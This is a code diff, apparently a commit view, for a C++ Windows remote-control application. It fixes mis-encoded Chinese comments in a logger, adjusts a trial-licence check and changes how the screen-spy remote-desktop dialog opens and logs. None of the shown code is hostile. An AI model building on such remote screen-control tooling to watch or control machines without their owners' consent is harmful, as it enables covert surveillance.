bool threadRun; // <EFBFBD><EFBFBD>־<EFBFBD>߳<EFBFBD>״̬
|
bool threadRun; // 日志线程状态
|
||||||
std::queue<std::string> logQueue; // <EFBFBD><EFBFBD>־<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
std::queue<std::string> logQueue; // 日志队列
|
||||||
std::mutex queueMutex; // <EFBFBD><EFBFBD><EFBFBD>л<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
std::mutex queueMutex; // 队列互斥锁
|
||||||
std::condition_variable cv; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
std::condition_variable cv; // 条件变量
|
||||||
std::atomic<bool> running; // <EFBFBD>Ƿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
std::atomic<bool> running; // 是否运行
|
||||||
std::thread workerThread; // <EFBFBD><EFBFBD>̨<EFBFBD>߳<EFBFBD>
|
std::thread workerThread; // 后台线程
|
||||||
std::mutex fileMutex; // <EFBFBD>ļ<EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
std::mutex fileMutex; // 文件写入锁
|
||||||
std::string pid; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ID
|
std::string pid; // 进程ID
|
||||||
|
|
||||||
Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {}
|
Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {}
|
||||||
|
|
||||||
@@ -161,7 +163,7 @@ private:
|
|||||||
stop();
|
stop();
|
||||||
}
|
}
|
||||||
|
|
||||||
// <EFBFBD><EFBFBD>̨<EFBFBD>̴߳<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
|
// 后台线程处理日志
|
||||||
void processLogs()
|
void processLogs()
|
||||||
{
|
{
|
||||||
threadRun = true;
|
threadRun = true;
|
||||||
@@ -176,7 +178,7 @@ private:
|
|||||||
logQueue.pop();
|
logQueue.pop();
|
||||||
lock.unlock();
|
lock.unlock();
|
||||||
|
|
||||||
// д<EFBFBD><EFBFBD><EFBFBD><EFBFBD>־<EFBFBD>ļ<EFBFBD>
|
// 写入日志文件
|
||||||
writeToFile(logEntry);
|
writeToFile(logEntry);
|
||||||
|
|
||||||
lock.lock();
|
lock.lock();
|
||||||
@@ -186,7 +188,7 @@ private:
|
|||||||
threadRun = false;
|
threadRun = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// д<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
// 写入文件
|
||||||
void writeToFile(const std::string& logEntry)
|
void writeToFile(const std::string& logEntry)
|
||||||
{
|
{
|
||||||
std::lock_guard<std::mutex> lock(fileMutex);
|
std::lock_guard<std::mutex> lock(fileMutex);
|
||||||
@@ -196,7 +198,7 @@ private:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>ǰʱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// 获取当前时间戳
|
||||||
std::string getCurrentTimestamp()
|
std::string getCurrentTimestamp()
|
||||||
{
|
{
|
||||||
auto now = std::chrono::system_clock::now();
|
auto now = std::chrono::system_clock::now();
|
||||||
@@ -204,9 +206,9 @@ private:
|
|||||||
|
|
||||||
std::tm tm;
|
std::tm tm;
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
localtime_s(&tm, &in_time_t); // Windows <EFBFBD><EFBFBD>ȫ<EFBFBD>汾
|
localtime_s(&tm, &in_time_t); // Windows 安全版本
|
||||||
#else
|
#else
|
||||||
localtime_r(&in_time_t, &tm); // POSIX <EFBFBD><EFBFBD>ȫ<EFBFBD>汾
|
localtime_r(&in_time_t, &tm); // POSIX 安全版本
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
std::stringstream ss;
|
std::stringstream ss;
|
||||||
@@ -214,7 +216,7 @@ private:
|
|||||||
return ss.str();
|
return ss.str();
|
||||||
}
|
}
|
||||||
|
|
||||||
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>־<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ת<EFBFBD><EFBFBD>Ϊ<EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD>
|
// 将日志级别转换为字符串
|
||||||
std::string logLevelToString(LogLevel level)
|
std::string logLevelToString(LogLevel level)
|
||||||
{
|
{
|
||||||
switch (level) {
|
switch (level) {
|
||||||
@@ -229,7 +231,7 @@ private:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// <EFBFBD><EFBFBD>ʽ<EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD>
|
// 格式化字符串
|
||||||
std::string formatString(const char* format, va_list args)
|
std::string formatString(const char* format, va_list args)
|
||||||
{
|
{
|
||||||
char buffer[1024];
|
char buffer[1024];
|
||||||
|
|||||||
@@ -1825,7 +1825,7 @@ std::string joinString(const std::vector<std::string>& tokens, char delimiter)
|
|||||||
bool CMy2015RemoteDlg::CheckValid(int trail)
|
bool CMy2015RemoteDlg::CheckValid(int trail)
|
||||||
{
|
{
|
||||||
static DateVerify verify;
|
static DateVerify verify;
|
||||||
BOOL isTrail = verify.isTrail(trail);
|
BOOL isTrail = trail < 0 ? FALSE : verify.isTrail(trail);
|
||||||
|
|
||||||
if (!isTrail) {
|
if (!isTrail) {
|
||||||
const Validation *verify = GetValidation();
|
const Validation *verify = GetValidation();
|
||||||
@@ -2725,8 +2725,10 @@ LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
|
|||||||
auto mainCtx = clientID ? FindHost(clientID) : NULL;
|
auto mainCtx = clientID ? FindHost(clientID) : NULL;
|
||||||
CDialogBase* dlg = dlgID ? (DialogBase*)dlgID : NULL;
|
CDialogBase* dlg = dlgID ? (DialogBase*)dlgID : NULL;
|
||||||
if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString());
|
if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString());
|
||||||
if (dlg && GetRemoteWindow(dlg->GetSafeHwnd())) {
|
if (dlg) {
|
||||||
return dlg->UpdateContext(ContextObject);
|
if (GetRemoteWindow(dlg->GetSafeHwnd()))
|
||||||
|
return dlg->UpdateContext(ContextObject);
|
||||||
|
Mprintf("收到远程桌面打开消息, 对话框已经销毁: %lld\n", dlgID);
|
||||||
}
|
}
|
||||||
return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_SHOWMAXIMIZED>(wParam, lParam);
|
return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_SHOWMAXIMIZED>(wParam, lParam);
|
||||||
}
|
}
|
||||||
@@ -2841,6 +2843,11 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg)
|
|||||||
}
|
}
|
||||||
|
|
||||||
LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) {
|
LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) {
|
||||||
|
// WM_COMMAND 不计时
|
||||||
|
if (message == WM_COMMAND) {
|
||||||
|
return CDialogEx::WindowProc(message, wParam, lParam);
|
||||||
|
}
|
||||||
|
|
||||||
auto start = std::chrono::steady_clock::now();
|
auto start = std::chrono::steady_clock::now();
|
||||||
|
|
||||||
LRESULT result = CDialogEx::WindowProc(message, wParam, lParam);
|
LRESULT result = CDialogEx::WindowProc(message, wParam, lParam);
|
||||||
|
|||||||
@@ -212,6 +212,8 @@ void CScreenSpyDlg::PrepareDrawing(const LPBITMAPINFO bmp)
|
|||||||
CString strString;
|
CString strString;
|
||||||
strString.Format("%s - 远程桌面控制 %d×%d", m_IPAddress, bmp->bmiHeader.biWidth, bmp->bmiHeader.biHeight);
|
strString.Format("%s - 远程桌面控制 %d×%d", m_IPAddress, bmp->bmiHeader.biWidth, bmp->bmiHeader.biHeight);
|
||||||
SetWindowText(strString);
|
SetWindowText(strString);
|
||||||
|
uint64_t dlg = (uint64_t)this;
|
||||||
|
Mprintf("%s [对话框ID: %lld]\n", strString.GetString(), dlg);
|
||||||
|
|
||||||
m_hFullDC = ::GetDC(m_hWnd);
|
m_hFullDC = ::GetDC(m_hWnd);
|
||||||
SetStretchBltMode(m_hFullDC, HALFTONE);
|
SetStretchBltMode(m_hFullDC, HALFTONE);
|
||||||
|
|||||||
Reference in New Issue
Block a user